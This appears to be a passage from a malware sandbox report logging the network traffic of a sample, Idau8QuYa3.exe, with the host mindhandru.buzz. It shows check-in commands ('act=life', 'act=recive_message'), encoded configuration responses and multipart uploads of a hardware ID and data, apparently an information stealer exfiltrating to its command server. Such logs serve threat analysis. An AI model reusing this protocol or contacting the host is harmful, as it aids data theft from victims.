Dec 27, 2024 08:46:55.778382063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:46:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.11.101	443	7332	C:\Users\user\Desktop\Idau8QuYa3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:44:53 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 07:44:53 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 07:44:54 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:44:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r8mq2nm87b11vve9p9kq0v4sji; expires=Tue, 22 Apr 2025 01:31:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lx9BpmD4bh6G4NDo%2BANYJX0o4V6%2FqqtbXK6S4LE1MbivFNATkatTeARSWyrbxO0k9uuZsosiAHnJabpV9hDMurWJUh8IAqLGnxpbRxndN4x7on7Q0YfL6eDZZEa2zR89ZO0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b01e6c943344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1820&min_rtt=1819&rtt_var=685&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1594756&cwnd=209&unsent_bytes=0&cid=203a3aad6a004328&ts=789&x=0"
2024-12-27 07:44:54 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 07:44:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.11.101	443	7332	C:\Users\user\Desktop\Idau8QuYa3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:44:55 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: mindhandru.buzz
2024-12-27 07:44:55 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-27 07:44:56 UTC	1119	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:44:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r34q2imcqgd8tjo6f5gcc073at; expires=Tue, 22 Apr 2025 01:31:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uxzOIWLKxHcFLYkhKS2JRRaSM4BdEV3oVagEwspDrEo7PEkmbDpA7Mmmkr5rb8cxUgG3HDW3dml2NwU0WGiyyg6klj8p1cDKYFaPZYM9PdSmTEhu1YBw%2Bvit4E9z9ECq63E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b02c5d487280-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1911&min_rtt=1910&rtt_var=717&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=946&delivery_rate=1528795&cwnd=247&unsent_bytes=0&cid=f355a250fab89ed1&ts=768&x=0"
2024-12-27 07:44:56 UTC	250	IN	Data Raw: 31 63 62 33 0d 0a 67 63 4a 44 4d 75 6f 49 43 53 37 50 2f 35 77 65 47 30 44 32 59 75 72 71 76 6b 39 34 74 52 74 4d 72 30 41 6d 4b 32 4c 38 54 67 6e 36 34 44 55 51 30 44 77 6c 44 4c 79 61 76 69 52 76 4d 6f 4d 48 78 73 6a 66 4b 31 71 50 66 53 33 44 4d 30 4d 48 51 49 6f 6a 4b 37 75 6b 49 6c 36 5a 62 53 55 4d 71 6f 65 2b 4a 45 41 37 31 41 65 45 79 49 52 74 48 64 39 35 4c 63 4d 69 52 30 41 4e 6a 43 4a 71 36 61 34 6b 57 6f 39 72 62 55 2b 6a 6b 76 6c 37 66 69 47 63 44 49 4f 48 31 69 4a 61 6d 54 6b 70 31 57 49 63 43 53 2b 5a 4f 6d 6a 4d 6f 7a 42 5a 79 48 55 6c 56 65 32 61 38 6a 77 68 59 70 63 48 69 49 62 59 4b 78 50 64 63 79 54 4c 49 30 4a 42 45 70 55 6f 59 65 6d 67 4a 31 75 46 59 6e 6c 43 71 5a 58 79 66 58 51 68 31 45 37 49 6a 38 52 74 51 70 63 71 Data Ascii: 1cb3gcJDMuoICS7P/5weG0D2Yurqvk94tRtMr0AmK2L8Tgn64DUQ0DwlDLyaviRvMoMHxsjfK1qPfS3DM0MHQIojK7ukIl6ZbSUMqoe+JEA71AeEyIRtHd95LcMiR0ANjCJq6a4kWo9rbU+jkvl7fiGcDIOH1iJamTkp1WIcCS+ZOmjMozBZyHUlVe2a8jwhYpcHiIbYKxPdcyTLI0JBEpUoYemgJ1uFYnlCqZXyfXQh1E7Ij8RtQpcq
2024-12-27 07:44:56 UTC	1369	IN	Data Raw: 48 4d 34 7a 56 56 77 4e 6a 69 6f 72 2f 4f 34 34 45 49 39 6d 4b 78 54 74 6c 66 4a 79 66 43 47 62 42 34 6d 49 7a 69 49 61 31 48 45 6d 79 53 68 4c 52 67 2b 51 4a 6d 7a 72 71 53 5a 66 6a 32 4a 74 51 36 37 64 73 44 78 2b 4f 74 52 59 79 4b 6a 4d 4c 68 6e 44 64 44 2b 4e 50 51 70 51 51 4a 6b 67 4b 37 76 67 4a 31 36 4a 5a 32 74 65 70 5a 62 31 65 57 73 70 6e 51 32 46 69 4e 45 6e 46 64 52 35 4b 63 63 6f 53 30 4d 45 6b 79 46 74 34 36 42 68 48 73 68 74 63 77 7a 31 33 64 31 35 61 53 57 59 46 73 71 79 6e 44 4a 55 7a 6a 6b 70 77 57 49 63 43 51 69 62 4c 32 6a 6f 72 79 4a 59 67 33 68 72 58 71 75 51 2b 32 35 2f 4a 35 6f 4b 69 35 72 57 49 78 7a 55 63 43 58 45 4a 30 4e 4e 51 4e 42 73 62 50 76 67 65 52 43 70 5a 32 42 41 70 34 72 2b 50 47 5a 73 6a 55 43 50 68 4a 78 31 57 74 4e Data Ascii: HM4zVVwNjior/O44EI9mKxTtlfJyfCGbB4mIziIa1HEmyShLRg+QJmzrqSZfj2JtQ67dsDx+OtRYyKjMLhnDdD+NPQpQQJkgK7vgJ16JZ2tepZb1eWspnQ2FiNEnFdR5KccoS0MEkyFt46BhHshtcwz13d15aSWYFsqynDJUzjkpwWIcCQibL2joryJYg3hrXquQ+25/J5oKi5rWIxzUcCXEJ0NNQNBsbPvgeRCpZ2BAp4r+PGZsjUCPhJx1WtN
2024-12-27 07:44:56 UTC	1369	IN	Data Raw: 41 52 4f 47 4e 35 30 4b 38 6d 6a 4e 56 4f 43 4b 46 35 50 6f 35 50 35 61 6a 6b 39 32 68 6e 49 6a 39 42 74 51 70 64 30 4c 38 55 6b 56 6b 59 4e 6e 53 4a 6c 37 4b 55 75 57 49 68 71 5a 6b 6d 70 6c 76 56 2f 64 43 61 47 43 6f 69 41 32 53 77 51 33 54 6c 67 6a 53 56 63 43 56 6a 65 48 58 7a 6f 34 68 52 54 68 6d 52 73 57 75 32 43 73 47 55 35 4a 5a 68 41 30 4d 6a 52 4a 52 2f 53 64 69 2f 48 4c 45 46 44 44 4a 59 69 61 50 47 76 4a 56 43 45 59 6d 46 42 6f 35 6e 32 64 58 49 70 6b 67 43 4a 67 70 78 6a 57 74 42 68 62 70 56 69 63 45 34 4d 6b 79 4d 70 31 71 4d 76 58 6f 39 38 4b 31 50 6a 68 4c 35 37 64 57 4c 4d 51 49 53 42 33 43 59 51 30 33 6b 70 77 43 64 48 54 67 4f 54 4b 32 48 74 70 79 56 63 67 57 64 74 54 4b 71 5a 2b 32 35 38 4b 35 67 4d 79 4d 61 63 4b 67 4b 58 49 57 37 69 Data Ascii: AROGN50K8mjNVOCKF5Po5P5ajk92hnIj9BtQpd0L8UkVkYNnSJl7KUuWIhqZkmplvV/dCaGCoiA2SwQ3TlgjSVcCVjeHXzo4hRThmRsWu2CsGU5JZhA0MjRJR/Sdi/HLEFDDJYiaPGvJVCEYmFBo5n2dXIpkgCJgpxjWtBhbpVicE4MkyMp1qMvXo98K1PjhL57dWLMQISB3CYQ03kpwCdHTgOTK2HtpyVcgWdtTKqZ+258K5gMyMacKgKXIW7i
2024-12-27 07:44:56 UTC	1369	IN	Data Raw: 6a 65 4a 57 4c 78 72 69 39 5a 68 57 78 6a 53 36 4f 51 39 58 70 79 4a 5a 4d 47 68 59 44 52 4b 42 6e 57 66 53 54 66 49 55 39 44 44 5a 52 73 4a 61 4f 6e 4f 52 44 51 4b 6b 78 41 68 49 33 6c 62 6d 39 69 69 30 36 52 79 4e 73 68 57 6f 38 35 4c 63 49 72 53 30 45 49 6b 53 4e 76 37 61 59 6e 58 59 31 6c 59 56 36 6c 6b 2f 4e 33 64 69 6d 47 41 49 57 4d 30 43 6b 53 33 48 4e 75 67 32 4a 44 55 55 44 47 62 46 37 75 72 79 46 54 6e 69 70 30 41 72 54 64 2b 58 41 35 65 74 51 4d 68 6f 6a 54 49 52 62 63 63 53 2f 42 4c 45 4e 4d 43 5a 59 6b 65 65 4b 6b 4b 56 47 47 5a 57 70 49 71 4a 6a 36 65 33 30 6b 6d 30 44 47 79 4e 73 31 57 6f 38 35 41 65 6f 58 42 6d 67 36 33 6a 4d 6c 2b 75 41 6d 58 4d 67 79 4b 30 43 75 6b 66 5a 7a 66 79 75 59 43 6f 47 44 30 43 59 65 32 33 41 72 79 79 4e 42 54 Data Ascii: jeJWLxri9ZhWxjS6OQ9XpyJZMGhYDRKBnWfSTfIU9DDZRsJaOnORDQKkxAhI3lbm9ii06RyNshWo85LcIrS0EIkSNv7aYnXY1lYV6lk/N3dimGAIWM0CkS3HNug2JDUUDGbF7uryFTnip0ArTd+XA5etQMhojTIRbccS/BLENMCZYkeeKkKVGGZWpIqJj6e30km0DGyNs1Wo85AeoXBmg63jMl+uAmXMgyK0CukfZzfyuYCoGD0CYe23AryyNBT
2024-12-27 07:44:56 UTC	1369	IN	Data Raw: 69 38 61 34 73 58 34 42 69 59 6b 32 70 6d 50 4e 36 64 53 69 56 42 34 61 47 31 47 31 55 6c 33 34 32 6a 58 6f 45 61 42 43 46 50 6e 33 75 67 53 78 66 79 48 55 6c 56 65 32 61 38 6a 77 68 59 70 30 53 6a 49 58 4f 4a 42 33 5a 64 69 33 66 49 30 6c 43 45 70 6b 6a 62 2b 53 73 4a 31 2b 4f 61 32 35 47 6f 5a 72 37 64 33 59 75 31 45 37 49 6a 38 52 74 51 70 64 58 4a 64 34 31 52 30 63 4c 69 44 63 72 2f 4f 34 34 45 49 39 6d 4b 78 54 74 6e 76 56 33 66 53 4b 59 41 49 79 46 33 44 38 56 30 48 34 6e 78 6a 42 4f 54 67 65 56 4a 47 44 73 70 6a 4e 63 68 6e 68 75 58 72 2f 64 73 44 78 2b 4f 74 52 59 79 4c 37 62 50 51 72 55 4f 78 2f 62 49 56 4a 43 44 5a 4a 73 64 4b 32 35 59 56 65 45 4b 6a 4d 4d 71 35 4c 33 66 33 59 6a 6e 51 79 46 6a 64 55 6f 47 39 46 39 4a 4d 63 69 51 6b 38 42 6d 79 Data Ascii: i8a4sX4BiYk2pmPN6dSiVB4aG1G1Ul342jXoEaBCFPn3ugSxfyHUlVe2a8jwhYp0SjIXOJB3Zdi3fI0lCEpkjb+SsJ1+Oa25GoZr7d3Yu1E7Ij8RtQpdXJd41R0cLiDcr/O44EI9mKxTtnvV3fSKYAIyF3D8V0H4nxjBOTgeVJGDspjNchnhuXr/dsDx+OtRYyL7bPQrUOx/bIVJCDZJsdK25YVeEKjMMq5L3f3YjnQyFjdUoG9F9JMciQk8Bmy
2024-12-27 07:44:56 UTC	1369	IN	Data Raw: 4c 52 44 51 4b 6d 68 4c 72 70 7a 30 64 58 55 74 6b 77 53 61 67 74 73 2f 47 39 5a 79 49 38 45 69 53 55 51 4b 6e 79 56 6d 37 36 30 6d 56 34 64 76 4b 77 4c 74 6d 75 59 38 49 57 4b 31 44 59 4f 45 68 33 64 61 79 44 63 33 6a 53 56 49 43 56 6a 65 4c 47 48 6d 71 69 78 54 68 32 6c 35 54 61 75 50 2f 6e 46 7a 4d 4a 34 4c 6a 59 58 52 49 42 6e 52 66 79 58 42 4d 45 31 4a 41 35 56 73 4a 61 4f 6e 4f 52 44 51 4b 6b 68 62 75 35 66 35 63 47 38 70 6c 51 4f 65 68 63 78 74 56 4a 64 6f 4b 64 78 69 48 46 38 51 69 53 74 30 72 62 6c 68 56 34 51 71 4d 77 79 72 6c 50 68 37 66 79 79 47 42 59 36 48 30 79 51 54 30 33 45 74 7a 53 5a 41 54 67 57 64 49 47 44 6b 6f 79 35 55 67 57 52 69 51 2b 33 54 76 6e 74 68 59 73 78 41 71 5a 50 66 49 52 65 58 5a 6d 44 55 59 6b 4e 46 51 4d 5a 73 5a 2b 32 Data Ascii: LRDQKmhLrpz0dXUtkwSagts/G9ZyI8EiSUQKnyVm760mV4dvKwLtmuY8IWK1DYOEh3dayDc3jSVICVjeLGHmqixTh2l5TauP/nFzMJ4LjYXRIBnRfyXBME1JA5VsJaOnORDQKkhbu5f5cG8plQOehcxtVJdoKdxiHF8QiSt0rblhV4QqMwyrlPh7fyyGBY6H0yQT03EtzSZATgWdIGDkoy5UgWRiQ+3TvnthYsxAqZPfIReXZmDUYkNFQMZsZ+2
2024-12-27 07:44:56 UTC	260	IN	Data Raw: 6d 39 73 57 75 2b 6f 2f 58 4a 33 4a 59 4a 41 6c 37 65 53 62 52 58 4e 4f 58 62 30 4f 77 52 4f 44 4e 35 30 4b 2f 61 6e 49 56 65 53 66 47 78 41 76 4a 62 7a 63 46 73 74 6b 78 61 4c 68 39 38 38 45 35 74 79 49 34 31 73 42 45 34 59 33 6e 51 72 7a 4b 63 33 55 36 64 70 65 6b 58 74 30 37 35 37 62 32 4c 4d 51 4c 62 49 7a 69 34 4b 31 48 59 2f 38 32 49 63 55 44 37 65 4a 33 33 6b 73 43 4a 47 67 32 64 6e 58 5a 50 64 70 69 67 72 63 4d 5a 53 32 70 65 63 4d 69 57 5a 4f 53 2b 4e 65 6e 31 51 51 49 68 73 4d 37 48 75 59 55 4c 49 4d 69 73 4c 72 6f 2f 73 65 6e 6f 30 6c 30 65 32 74 76 73 37 45 4e 42 70 4b 64 6f 74 42 41 64 41 6b 57 77 7a 32 75 41 6f 56 35 4e 37 66 55 47 39 6d 72 35 44 4e 32 4b 4d 51 4e 44 49 36 53 34 55 32 58 34 34 33 47 39 6a 58 77 71 5a 50 47 7a 30 72 32 45 65 Data Ascii: m9sWu+o/XJ3JYJAl7eSbRXNOXb0OwRODN50K/anIVeSfGxAvJbzcFstkxaLh988E5tyI41sBE4Y3nQrzKc3U6dpekXt0757b2LMQLbIzi4K1HY/82IcUD7eJ33ksCJGg2dnXZPdpigrcMZS2pecMiWZOS+Nen1QQIhsM7HuYULIMisLro/seno0l0e2tvs7ENBpKdotBAdAkWwz2uAoV5N7fUG9mr5DN2KMQNDI6S4U2X443G9jXwqZPGz0r2Ee
2024-12-27 07:44:56 UTC	1369	IN	Data Raw: 32 63 36 39 0d 0a 72 46 50 37 54 76 6e 68 6f 59 73 78 51 32 74 4f 4a 66 6b 32 48 4b 7a 47 44 4f 77 52 66 51 4d 5a 2b 4a 61 4f 79 59 51 6a 49 4c 57 68 65 76 35 76 39 61 6e 70 6c 71 6a 36 76 6b 74 45 72 44 63 5a 48 45 4d 6f 34 53 55 38 58 6a 32 42 2b 34 4b 34 76 56 35 34 71 4a 51 79 69 33 61 5a 46 4f 57 72 55 50 38 62 49 78 47 31 43 6c 30 77 74 77 79 78 44 58 78 48 54 43 33 48 75 70 6a 5a 42 79 43 51 72 53 75 33 46 72 6a 49 35 4a 6f 56 41 30 4e 69 4f 64 6b 2b 45 4c 6e 36 66 50 51 70 51 51 49 68 73 4d 37 48 75 59 55 4c 49 4d 69 73 4c 72 6f 2f 73 65 6e 6f 30 6c 30 65 32 74 76 49 71 48 4e 4a 2b 50 6f 38 4d 54 31 30 48 33 6d 49 72 37 4f 42 35 61 63 67 69 4b 33 50 6a 33 65 59 38 49 57 4b 68 41 34 61 47 32 7a 73 4c 6d 6c 63 70 79 79 64 44 57 55 4b 77 4a 33 2f 6b Data Ascii: 2c69rFP7TvnhoYsxQ2tOJfk2HKzGDOwRfQMZ+JaOyYQjILWhev5v9anplqj6vktErDcZHEMo4SU8Xj2B+4K4vV54qJQyi3aZFOWrUP8bIxG1Cl0wtwyxDXxHTC3HupjZByCQrSu3FrjI5JoVA0NiOdk+ELn6fPQpQQIhsM7HuYULIMisLro/seno0l0e2tvIqHNJ+Po8MT10H3mIr7OB5acgiK3Pj3eY8IWKhA4aG2zsLmlcpyydDWUKwJ3/k
2024-12-27 07:44:56 UTC	1369	IN	Data Raw: 6f 71 4d 77 7a 71 6e 75 78 75 66 79 47 43 41 38 2b 32 34 67 6f 55 30 48 67 34 33 54 56 4c 42 69 36 6f 44 56 58 64 74 53 4a 65 68 6d 31 39 58 65 33 54 76 6e 4d 35 65 71 31 41 77 4d 6a 6a 59 31 72 50 4f 58 61 4e 46 30 64 48 44 70 6b 36 65 71 36 48 4c 31 65 4a 66 48 74 62 6f 74 4c 51 53 6c 68 69 32 6b 43 4f 79 49 52 2f 56 4a 64 39 50 34 31 36 46 42 74 62 79 33 38 38 73 2f 49 2b 48 70 45 71 66 51 7a 31 7a 37 41 38 61 32 4c 4d 51 4d 2b 4c 7a 6a 38 63 31 47 38 74 69 68 78 36 62 67 36 5a 4c 58 33 7a 72 53 31 78 69 33 74 68 63 70 4f 49 2f 58 4a 33 4a 59 49 52 79 4d 61 63 49 6c 71 50 51 47 36 46 59 6e 73 48 51 49 5a 73 4d 36 4f 56 49 6c 36 47 62 58 31 64 34 4c 72 77 65 33 67 30 68 41 32 45 71 64 38 38 45 4a 63 33 62 73 74 69 48 42 74 4f 33 69 68 36 6f 2f 68 78 41 Data Ascii: oqMwzqnuxufyGCA8+24goU0Hg43TVLBi6oDVXdtSJehm19Xe3TvnM5eq1AwMjjY1rPOXaNF0dHDpk6eq6HL1eJfHtbotLQSlhi2kCOyIR/VJd9P416FBtby388s/I+HpEqfQz1z7A8a2LMQM+Lzj8c1G8tihx6bg6ZLX3zrS1xi3thcpOI/XJ3JYIRyMacIlqPQG6FYnsHQIZsM6OVIl6GbX1d4Lrwe3g0hA2Eqd88EJc3bstiHBtO3ih6o/hxA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.11.101	443	7332	C:\Users\user\Desktop\Idau8QuYa3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:44:57 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8MWBO38WKWQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18121 Host: mindhandru.buzz
2024-12-27 07:44:57 UTC	15331	OUT	Data Raw: 2d 2d 38 4d 57 42 4f 33 38 57 4b 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 32 43 39 44 32 35 36 46 39 45 37 43 41 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 38 4d 57 42 4f 33 38 57 4b 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 4d 57 42 4f 33 38 57 4b 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 38 4d 57 42 4f 33 38 57 4b 57 51 0d 0a 43 6f 6e 74 Data Ascii: --8MWBO38WKWQContent-Disposition: form-data; name="hwid"922C9D256F9E7CA1BEBA0C6A975F1733--8MWBO38WKWQContent-Disposition: form-data; name="pid"2--8MWBO38WKWQContent-Disposition: form-data; name="lid"PsFKDg--pablo--8MWBO38WKWQCont
2024-12-27 07:44:57 UTC	2790	OUT	Data Raw: 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 Data Ascii: f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR
2024-12-27 07:44:58 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:44:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=261o1eokvo2apanvsecab5iit5; expires=Tue, 22 Apr 2025 01:31:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oedFLfs8f3%2FY6rCNGQBInwrMOqe90fTAuu%2FuqvHJxal%2BfUUDkWxiC3T73uqMh2bD5Fbgf0B9h6FSP2xhcgTkwIU6KJdlJMxMcSPQ8eFy2CcIM3u9M0ezbqVDw1slWoXvFws%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b03b5d3042e6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2077&min_rtt=2065&rtt_var=800&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2837&recv_bytes=19075&delivery_rate=1346863&cwnd=197&unsent_bytes=0&cid=7540efce03ccf355&ts=897&x=0"
2024-12-27 07:44:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:44:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.11.101	443	7332	C:\Users\user\Desktop\Idau8QuYa3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:45:00 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AL5394FADJ8M0IBE8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8778 Host: mindhandru.buzz
2024-12-27 07:45:00 UTC	8778	OUT	Data Raw: 2d 2d 41 4c 35 33 39 34 46 41 44 4a 38 4d 30 49 42 45 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 32 43 39 44 32 35 36 46 39 45 37 43 41 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 41 4c 35 33 39 34 46 41 44 4a 38 4d 30 49 42 45 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 4c 35 33 39 34 46 41 44 4a 38 4d 30 49 42 45 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --AL5394FADJ8M0IBE8Content-Disposition: form-data; name="hwid"922C9D256F9E7CA1BEBA0C6A975F1733--AL5394FADJ8M0IBE8Content-Disposition: form-data; name="pid"2--AL5394FADJ8M0IBE8Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-27 07:45:01 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iki117j0ovmvloi0tnbckl8u6e; expires=Tue, 22 Apr 2025 01:31:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6m0HE32Nv2wbmj2Fabq4vCS77kcrmBEFvUugxK%2FwaKkfQejxTYl056S0CDMng%2FEBXj%2FlxadWNOdVcNdpCMhfzsbfK1P%2Fatyf%2BtMjBy3dF7oTVpYFH8LNLGnkTmi9VJMa27I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b0495db30cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1556&min_rtt=1543&rtt_var=605&sent=7&recv=15&lost=0&retrans=0&sent_bytes=2837&recv_bytes=9715&delivery_rate=1768625&cwnd=230&unsent_bytes=0&cid=8fdcd36ea45622f2&ts=843&x=0"
2024-12-27 07:45:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:45:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.11.101	443	7332	C:\Users\user\Desktop\Idau8QuYa3.exe

Timestamp	Bytes transferred	Direction	Data
